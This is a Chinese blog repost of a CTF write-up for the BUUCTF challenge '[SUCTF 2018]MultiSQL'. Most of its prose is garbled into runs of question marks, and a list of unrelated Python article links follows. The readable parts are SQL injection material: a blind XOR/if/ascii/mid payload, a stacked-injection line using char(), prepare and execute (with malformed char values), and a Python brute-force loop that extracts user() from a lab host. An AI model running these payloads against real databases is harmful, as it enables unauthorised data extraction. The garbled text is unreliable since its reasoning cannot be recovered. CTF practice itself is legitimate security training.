博客
关于我
BUUCTF:[SUCTF 2018]MultiSQL --- 堆叠注入 -- 预处理-- 编码,10进制,16进制。
阅读量:404 次
发布时间:2019-03-05

本文共 1744 字,大约阅读时间需要 5 分钟。

SQL???Web????

????????????????SQL???????????????????????????????????????????????????????????????????????????????????

?????

???????????SQL?????????????????????????????????????????????????????????????????@???union?select????????????

??????????????SQL???

2^(if(ascii(mid(user(),1,1))>0,0,1))

??????????????????????????0??????????????????????0?????0????????1???????????????????????

?????????????????????????????????????????????WordPress?WP????????

???????

?????????????????????????SQL??????????500????????????????????????????????????cookie?????????

??????????????????????????????

? id=2; set @sql = char(12, 324, 23, 23, ); prepare query from @sql; execute query;

?????????????????????SQL???

??????????????????????????????mid???????ascii?????????????????????

????WordPress

???????????WordPress???????????????????????????????????????????

???user.php????????????????id????????????????????

if (ascii(mid(user(),1,1)) > 0, 0, 1)

???????????????????????

?????????????????

1^

??????????????????????????????

??????????????????????????

  • ??id???????????
  • ??if??????????
  • ??1^???????????
  • ?????????????Python??????????????????????

    for i in range(1,15):    for j in range(50,155):        url = '''http://77a4fc87-2f45-4e87-b5fe-0ea6cf054bd3.node3.buuoj.cn/user/user.php?id=1^(ascii(mid(user(),{},1))={})'''.format(i,j)        cookie = { "PHPSESSID":"514gsk3jr3pf1ubri65d5pr714"}        res = requests.get(url=url, cookies=cookie)        content = re.findall('

    .*

    ', res.text, re.M|re.I) if ("admin" not in content[0]): database += chr(j) break

    ??????????????????id?username???????????????????

    ?????????????????????????????????????????????????flag???????????????

    ?????SQL????????????????????????????????????????????????????????????????

    转载地址:http://ykgg.baihongyu.com/

    你可能感兴趣的文章
    Python 中如何处理异常?
    查看>>
    Python 中如何实现列表的切片?
    查看>>
    Python 中如何实现字典的排序?
    查看>>
    Python 中常用的数据类型及相关操作详解
    查看>>
    python 中文乱码
    查看>>
    Python 中生成器与普通函数的区别
    查看>>
    Python 中的 *tuple 和 **dict 是什么意思?
    查看>>
    Python 中的 filter() 函数:筛选可迭代对象元素
    查看>>
    Python 中的 Pillow 不允许我打开图像(“超出限制“)
    查看>>
    Python 中的 threading 模块和 multiprocessing 模块有何区别?
    查看>>
    Python 中的 threading 模块和 multiprocessing 模块有何区别?
    查看>>
    Python 中的 Turtle 库详解
    查看>>
    Python 中的 __slots__ 属性有什么作用?
    查看>>
    Python 中的... 三点、箭头(->)、/ 分别的作用
    查看>>
    python读取json数据的id_python处理JSON数据
    查看>>
    Python 中的Duck Typing
    查看>>
    Python 中的for in 遍历生成字典、添加判断条件if
    查看>>
    Python 中的Lock与RLock
    查看>>
    Python 中的range(),arange()函数
    查看>>
    Python 中的内存管理机制
    查看>>